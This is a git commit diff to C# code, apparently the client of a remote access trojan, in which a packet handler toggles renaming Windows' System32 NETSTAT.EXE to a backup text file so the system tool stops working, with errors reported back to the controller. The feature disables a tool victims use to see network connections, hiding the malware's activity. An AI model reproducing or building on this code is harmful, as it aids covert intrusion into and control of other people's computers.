Remove hardcoded paths

This commit is contained in:
NYAN CAT 2019-06-17 12:12:22 +03:00
parent c4b02e1531
commit 44a51e759c

View File

@ -1,11 +1,16 @@
using Client.Helper; using Client.Helper;
using System; using System;
using System.Diagnostics;
using System.IO;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
class HandleNetStat public static class HandleNetStat
{ {
static bool switcher = false; static bool switcher = false;
static readonly string OriginalFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.EXE");
static readonly string BackupFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32\\NETSTAT.Backup.txt");
public static void RunNetStat() public static void RunNetStat()
{ {
//light switch logic CopyPasta by MrDevBot //light switch logic CopyPasta by MrDevBot
@ -15,10 +20,13 @@ namespace Client.Handle_Packet
{ {
try try
{ {
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt"); File.Move(OriginalFile, BackupFile);
}
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
} }
catch(Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = true; //sets the switch to on for next click switcher = true; //sets the switch to on for next click
return; //returns to calling function return; //returns to calling function
@ -27,10 +35,13 @@ namespace Client.Handle_Packet
{ {
try try
{ {
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE"); File.Move(BackupFile, OriginalFile);
}
catch (Exception ex)//probably AntiTamper protection or Admin Privilages
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
} }
catch (Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = false; //sets the switch to off for next click switcher = false; //sets the switch to off for next click
return; //returns to calling function return; //returns to calling function
} }